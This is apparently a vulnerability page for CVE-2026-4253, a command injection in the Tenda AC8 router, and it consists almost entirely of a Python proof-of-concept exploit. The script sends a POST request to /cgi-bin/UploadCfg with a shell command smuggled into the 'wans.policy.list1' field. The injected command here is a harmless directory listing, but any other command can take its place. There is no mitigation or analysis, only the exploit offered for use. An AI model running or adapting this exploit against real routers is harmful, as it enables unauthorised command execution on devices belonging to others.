CVE-2026-4253 Tenda AC8路由器命令注入漏洞

#!/usr/bin/env python3 # CVE-2026-4253 PoC - Tenda AC8 Command Injection # Affected Version: Tenda AC8 V16.03.50.11 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.0.1' # Construct malicious payload for command injection # Injecting 'ls' command through wans.policy.list1 parameter payload = { 'wans.policy.list1': ';ls -la > /tmp/cmd_output.txt;' } try: print(f'[*] Sending exploit to {target}/cgi-bin/UploadCfg') print(f'[*] Payload: {payload}') # Send POST request with malicious payload response = requests.post( f'{target}/cgi-bin/UploadCfg', data=payload, timeout=10 ) print(f'[+] Response Status: {response.status_code}') print(f'[+] Exploit sent successfully') print(f'[*] Check router for command execution') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')